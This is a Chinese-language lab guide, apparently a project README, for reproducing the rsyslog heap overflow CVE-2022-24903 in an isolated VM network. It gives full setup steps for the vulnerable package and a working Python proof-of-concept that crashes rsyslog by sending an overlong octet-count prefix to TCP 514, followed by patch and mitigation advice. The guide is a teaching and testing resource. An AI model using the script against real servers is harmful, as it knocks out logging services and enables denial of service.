作者: Andrew Beshay Mousa
一个演示 rsyslog 堆缓冲区溢出漏洞的实操实验。
一个实用的实验室环境,用于通过 TCP syslog 接收中的八位字节计数帧(octet-counted framing)复现并理解 rsyslog 堆缓冲区溢出 漏洞(CVE-2022-24903)。
CVE-2022-24903 是 rsyslog 的 TCP syslog 接收模块(imtcp)在使用 八位字节计数帧(octet-counted framing)(RFC 5425)时存在的一个堆缓冲区溢出漏洞。
攻击者可以发送带有超长八位字节计数前缀的特制 TCP syslog 消息,导致 rsyslog 越界写入堆分配的缓冲区,从而造成拒绝服务(DoS)或潜在的内存损坏。
+----------------------------------------------------------+
| Network: Host-Only |
| Subnet: 192.168.56.0/24 |
+--------------------------+-------------------------------+
| | |
| +---------------+ | +--------------------+ |
| | [Attacker] | | | [Target] | |
| | Kali Linux |<-----|----->| Ubuntu 22.04 | |
| | | TCP | | rsyslog 8.2001.0 | |
| | 192.168.56.10| 514 | | 192.168.56.20 | |
| | RAM: 2GB | | | RAM: 1GB | |
| | CPU: 1 | | | CPU: 1 | |
| +---------------+ | +--------------------+ |
| | |
+----------------------------------------------------------+
注意: 您可以使用任何 Ubuntu 版本(20.04、22.04、24.04)作为目标机。关键是手动安装存在漏洞的 rsyslog 8.2001.0
.deb软件包。
在 TCP syslog(RFC 5425)中,消息以字节长度作为前缀:
123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
└─┘
octet count (3 digits = 123 bytes follow)
在存在漏洞的 rsyslog 版本中,八位字节计数解析器:
// Simplified vulnerable logic:
char buffer[20]; // Small heap buffer
int i = 0;
while (isdigit(ch)) { // Read digits
buffer[i++] = ch; // Write to buffer
// MISSING: if (i >= 20) break;
ch = next_char();
}
结果: 发送 9999...(5000 多个数字)会使堆缓冲区溢出,破坏相邻内存。
0-9)在您的虚拟机管理程序中,创建一个仅主机(Host-Only)网络:
192.168.56.0/24将两台虚拟机都连接到该网络。
sudo nano /etc/netplan/00-installer-config.yaml
粘贴:
network:
version: 2
ethernets:
enp0s3:
dhcp4: no
addresses:
- 192.168.56.20/24
应用:
sudo netplan apply
验证:
ip addr show | grep 192.168.56.20
sudo systemctl stop rsyslog.service syslog.socket
sudo systemctl disable rsyslog.service syslog.socket
sudo systemctl mask rsyslog.service syslog.socket
sudo apt-get remove --purge -y rsyslog
sudo apt-get autoremove -y
cd /tmp
wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo apt-get install -f -y
sudo apt-mark hold rsyslog
如果遇到 dpkg 锁错误:
sudo kill -9 <PID> sudo rm -f /var/lib/dpkg/lock-frontend sudo dpkg --configure -a
验证版本:
rsyslogd -v | head -2
预期输出:
rsyslogd 8.2001.0
AppArmor 可能会阻止 rsyslog 在旧软件包下正常运行:
sudo systemctl stop apparmor
sudo systemctl disable apparmor
sudo nano /etc/rsyslog.conf
清空文件并粘贴:
module(load="imtcp")
input(type="imtcp" port="514")
*.* /var/log/all-messages.log
sudo ufw allow 514/tcp
sudo ufw --force enable
sudo systemctl unmask rsyslog.service syslog.socket
sudo systemctl restart rsyslog
sudo systemctl status rsyslog --no-pager
验证监听状态:
sudo ss -tlnp | grep 514
预期结果:
LISTEN 0 25 0.0.0.0:514 users:(("rsyslogd",pid=...,fd=4))
sudo nano /etc/network/interfaces
粘贴:
auto eth0
iface eth0 inet static
address 192.168.56.10
netmask 255.255.255.0
或者,如果使用 Netplan:
sudo nano /etc/netplan/01-netcfg.yaml
network:
version: 2
ethernets:
eth0:
dhcp4: no
addresses:
- 192.168.56.10/24
sudo netplan apply
cd ~/Desktop
nano exploit.py
粘贴:
#!/usr/bin/env python3
"""
CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
Target: rsyslog 8.2001.0 on TCP port 514
Author: Andrew Beshay Mousa
"""
import socket
import sys
TARGET = "192.168.56.20" # Change to your Target IP
PORT = 514
def exploit():
"""
Send a crafted TCP syslog message with an excessively long octet-count prefix.
The octet-count parser writes digits to a heap buffer without bounds checking,
causing a heap buffer overflow.
"""
# Create a massive octet count string (5000+ digits)
# This overflows the heap buffer allocated for parsing the count
overflow_digits = b"9" * 5000
# The rest of the message (parser will crash before processing this)
syslog_msg = b" <1>test crash message\n"
payload = overflow_digits + syslog_msg
print(f"[*] Target: {TARGET}:{PORT}")
print(f"[*] Payload size: {len(payload)} bytes")
print(f"[*] Octet count digits: {len(overflow_digits)}")
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((TARGET, PORT))
print(f"[*] Connected. Sending payload...")
sock.sendall(payload)
# Try to receive (likely won't get anything back after crash)
try:
response = sock.recv(1024)
print(f"[+] Received: {response}")
except socket.timeout:
print("[!] No response - target may have crashed!")
sock.close()
print("[*] Exploit completed.")
except ConnectionRefusedError:
print(f"[-] Connection refused - is rsyslog running on {TARGET}:{PORT}?")
sys.exit(1)
except BrokenPipeError:
print("[!] Connection broken - target likely crashed mid-transmission!")
if __name__ == "__main__":
print("=" * 50)
print("CVE-2022-24903 rsyslog Heap Buffer Overflow")
print("=" * 50)
exploit()
赋予执行权限:
chmod +x exploit.py
从攻击机验证连通性:
nc -zv 192.168.56.20 514
预期输出:
(UNKNOWN) [192.168.56.20] 514 (shell) open
python3 ~/Desktop/exploit.py
预期输出:
==================================================
CVE-2022-24903 rsyslog Heap Buffer Overflow
==================================================
[*] Target: 192.168.56.20:514
[*] Payload size: 5027 bytes
[*] Octet count digits: 5000
[*] Connected. Sending payload...
[!] No response - target may have crashed!
[*] Exploit completed.
在目标机上验证崩溃:
ps aux | grep rsyslog
如果没有输出,则说明 rsyslog 已崩溃
sudo dmesg | tail -10
预期输出:
audit: in:imtcp[24775] general protection fault ip:76bea758b7dd sp:... error:0 in libc.so.6[...]
或:
rsyslogd[...]: segfault at ... ip ... sp ... error 4 in rsyslogd[...]
sudo journalctl -u rsyslog --no-pager | tail -10
为确认可复现性:
sudo systemctl restart rsyslog
sudo ss -tlnp | grep 514
然后从 Kali 重新运行漏洞利用脚本,应会再次崩溃。
sudo apt-mark unhold rsyslog
sudo apt-get update
sudo apt-get install rsyslog
验证修补后的版本:
rsyslogd -v | head -2
应为 8.2204.1 或更高版本。
在 /etc/rsyslog.conf 中注释掉:
# module(load="imtcp")
# input(type="imtcp" port="514")
如果必须使用 TCP syslog,请使用加密传输:
module(load="imgtls")
input(type="imgtls" port="6514")
仅允许受信任的主机访问 TCP 514:
sudo ufw allow from 192.168.56.10 to any port 514 proto tcp
本实验仅用于教育和研究目的。请勿对您不拥有或未经明确许可测试的系统使用此漏洞利用代码。作者对滥用此信息不承担任何责任。
本项目采用 MIT 许可证。
由 Andrew Beshay Mousa 用咖啡与好奇心打造。
| 属性 | 值 |
|---|
| CVE 编号 | CVE-2022-24903 |
| 受影响版本 | rsyslog < 8.2204.1 |
| 攻击向量 | 网络 |
| 端口 | 514/TCP |
| 模块 | imtcp(TCP 输入) |
| 影响 | 拒绝服务 / 堆损坏 |
| 是否可能 RCE? | 否(厂商评估) |
| 虚拟机 | 操作系统 | 角色 | IP | 内存 | CPU |
|---|
| 目标机 | Ubuntu 22.04 | 存在漏洞的 rsyslog 服务器 | 192.168.56.20 | 1 GB | 1 |
| 攻击机 | Kali Linux | 漏洞利用发送端 | 192.168.56.10 | 2 GB | 1 |
| 问题 | 解决方案 |
|---|
Connection refused(连接被拒绝) | rsyslog 未运行或未监听 TCP 514。请检查 sudo systemctl status rsyslog 和 `sudo ss -tlnp |
Unit rsyslog.service is masked(服务已被屏蔽) | 运行 sudo systemctl unmask rsyslog.service syslog.socket |
dpkg frontend lock(dpkg 前端锁) | 运行 sudo kill -9 <PID>,然后执行 sudo rm -f /var/lib/dpkg/lock-frontend |
| dmesg 中出现 AppArmor DENIED | 运行 sudo systemctl stop apparmor && sudo systemctl disable apparmor |
| rsyslog 版本为 8.2112+ | 您安装的是已修补的版本。请手动下载并安装 rsyslog_8.2001.0-1ubuntu1_amd64.deb |
| 漏洞利用后未崩溃 | 将有效载荷大小增加到 b"9" * 20000 |